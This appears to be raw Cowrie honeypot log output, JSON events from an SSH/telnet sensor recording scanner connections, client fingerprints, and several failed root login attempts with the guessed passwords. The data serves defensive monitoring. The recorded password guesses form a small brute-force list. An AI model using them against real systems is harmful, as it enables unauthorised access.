{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:22.880937Z","src_ip":"120.27.154.152","session":"7cdd62c33bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.5","message":"Connection lost after 44.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:23.018208Z","src_ip":"120.27.154.152","session":"f7d78e1786b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.868913650512695,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:23.839587Z","src_ip":"152.42.224.71","session":"46a969d90bc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.0554735660553,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:25.162360Z","src_ip":"152.42.224.71","session":"6dae7200f574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.077420711517334,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:25.214371Z","src_ip":"152.42.224.71","session":"2b088c9231f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47436,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aa761b6b7a2","protocol":"telnet","message":"New connection: 152.42.224.71:47436 (10.17.0.5:23) [session: 6aa761b6b7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:28.206772Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48406,"dst_ip":"159.203.135.109","dst_port":22,"session":"66152ddeaf25","protocol":"ssh","message":"New connection: 37.233.85.71:48406 (159.203.135.109:22) [session: 66152ddeaf25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:30.994962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:31.000504Z","src_ip":"37.233.85.71","session":"66152ddeaf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00152921676636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:31.080863Z","src_ip":"152.42.224.71","session":"5d330cd5a919","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:31.110554Z","src_ip":"37.233.85.71","session":"66152ddeaf25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michael1","message":"login attempt [root/michael1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:31.424282Z","src_ip":"37.233.85.71","session":"66152ddeaf25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:32.531524Z","src_ip":"37.233.85.71","session":"66152ddeaf25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42236,"dst_ip":"10.17.0.5","dst_port":23,"session":"8794c6ec1935","protocol":"telnet","message":"New connection: 152.42.224.71:42236 (10.17.0.5:23) [session: 8794c6ec1935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:38.732089Z"}
{"eventid":"cowrie.session.closed","duration":29.005056381225586,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:43.917958Z","src_ip":"152.42.224.71","session":"c83f2b0f1486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45938,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd37687440e6","protocol":"telnet","message":"New connection: 152.42.224.71:45938 (10.17.0.5:23) [session: fd37687440e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:49.770207Z"}
{"eventid":"cowrie.session.closed","duration":120.00228905677795,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:55.744973Z","src_ip":"152.42.224.71","session":"4353f3861333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0025269985199,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:18:59.441326Z","src_ip":"152.42.224.71","session":"76ddc85eaa45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53902,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bbf4b721644","protocol":"telnet","message":"New connection: 152.42.224.71:53902 (10.17.0.5:23) [session: 2bbf4b721644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:00.110951Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53898,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7307c24b703","protocol":"telnet","message":"New connection: 152.42.224.71:53898 (10.17.0.5:23) [session: d7307c24b703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:00.119652Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":57566,"dst_ip":"10.17.0.5","dst_port":22,"session":"83a8bba4137d","protocol":"ssh","message":"New connection: 45.78.230.231:57566 (10.17.0.5:22) [session: 83a8bba4137d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:01.086465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:01.092055Z","src_ip":"45.78.230.231","session":"83a8bba4137d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:01.330392Z","src_ip":"45.78.230.231","session":"83a8bba4137d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53904,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f228d70bf9e","protocol":"telnet","message":"New connection: 152.42.224.71:53904 (10.17.0.5:23) [session: 6f228d70bf9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:02.236793Z"}
{"eventid":"cowrie.session.closed","duration":93.32926154136658,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:02.256128Z","src_ip":"152.42.224.71","session":"83bcf64f3d9c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"training123","message":"login attempt [root/training123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:03.590349Z","src_ip":"45.78.230.231","session":"83a8bba4137d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:04.832000Z","src_ip":"45.78.230.231","session":"83a8bba4137d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.55180358886719,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:06.758454Z","src_ip":"152.42.224.71","session":"6aa761b6b7a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":55706,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5d18d5fb5ff","protocol":"ssh","message":"New connection: 43.130.38.88:55706 (159.203.135.109:22) [session: c5d18d5fb5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:09.669386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:09.682504Z","src_ip":"43.130.38.88","session":"c5d18d5fb5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:09.752002Z","src_ip":"43.130.38.88","session":"c5d18d5fb5ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xx123456.","message":"login attempt [root/Xx123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:10.058034Z","src_ip":"43.130.38.88","session":"c5d18d5fb5ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:11.130790Z","src_ip":"43.130.38.88","session":"c5d18d5fb5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":43678,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd0e4775f6c3","protocol":"ssh","message":"New connection: 159.65.8.74:43678 (10.17.0.5:22) [session: cd0e4775f6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:16.066630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:16.092854Z","src_ip":"159.65.8.74","session":"cd0e4775f6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:16.325460Z","src_ip":"159.65.8.74","session":"cd0e4775f6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56545,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a411717660f","protocol":"ssh","message":"New connection: 167.172.81.52:56545 (159.203.135.109:22) [session: 7a411717660f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:16.809589Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:16.814571Z","src_ip":"167.172.81.52","session":"7a411717660f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:16.818639Z","src_ip":"167.172.81.52","session":"7a411717660f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.11069393157959,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:16.842647Z","src_ip":"152.42.224.71","session":"8794c6ec1935","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"cygnusx1","message":"login attempt [root/cygnusx1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:17.348346Z","src_ip":"159.65.8.74","session":"cd0e4775f6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.21243619918823,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:17.847641Z","src_ip":"152.42.224.71","session":"cebe6bd39044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:18.588048Z","src_ip":"159.65.8.74","session":"cd0e4775f6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.30231285095215,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:20.421864Z","src_ip":"152.42.224.71","session":"d7307c24b703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":48088,"dst_ip":"10.17.0.5","dst_port":22,"session":"a96d7b082fc1","protocol":"ssh","message":"New connection: 192.169.250.238:48088 (10.17.0.5:22) [session: a96d7b082fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:20.809444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:20.813282Z","src_ip":"192.169.250.238","session":"a96d7b082fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:20.885040Z","src_ip":"192.169.250.238","session":"a96d7b082fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dashboard123","message":"login attempt [root/dashboard123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:21.206447Z","src_ip":"192.169.250.238","session":"a96d7b082fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.28693914413452,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:22.057038Z","src_ip":"152.42.224.71","session":"fd37687440e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:22.280911Z","src_ip":"192.169.250.238","session":"a96d7b082fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34022,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b7ed28f24d7","protocol":"ssh","message":"New connection: 193.228.128.84:34022 (10.17.0.5:22) [session: 7b7ed28f24d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:22.349296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:22.354332Z","src_ip":"193.228.128.84","session":"7b7ed28f24d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:22.457422Z","src_ip":"193.228.128.84","session":"7b7ed28f24d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66666","message":"login attempt [root/66666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:22.765090Z","src_ip":"193.228.128.84","session":"7b7ed28f24d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":46136,"dst_ip":"159.203.135.109","dst_port":22,"session":"c74753541460","protocol":"ssh","message":"New connection: 72.52.132.30:46136 (159.203.135.109:22) [session: c74753541460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:23.509518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:23.514778Z","src_ip":"72.52.132.30","session":"c74753541460","protocol":"ssh"}
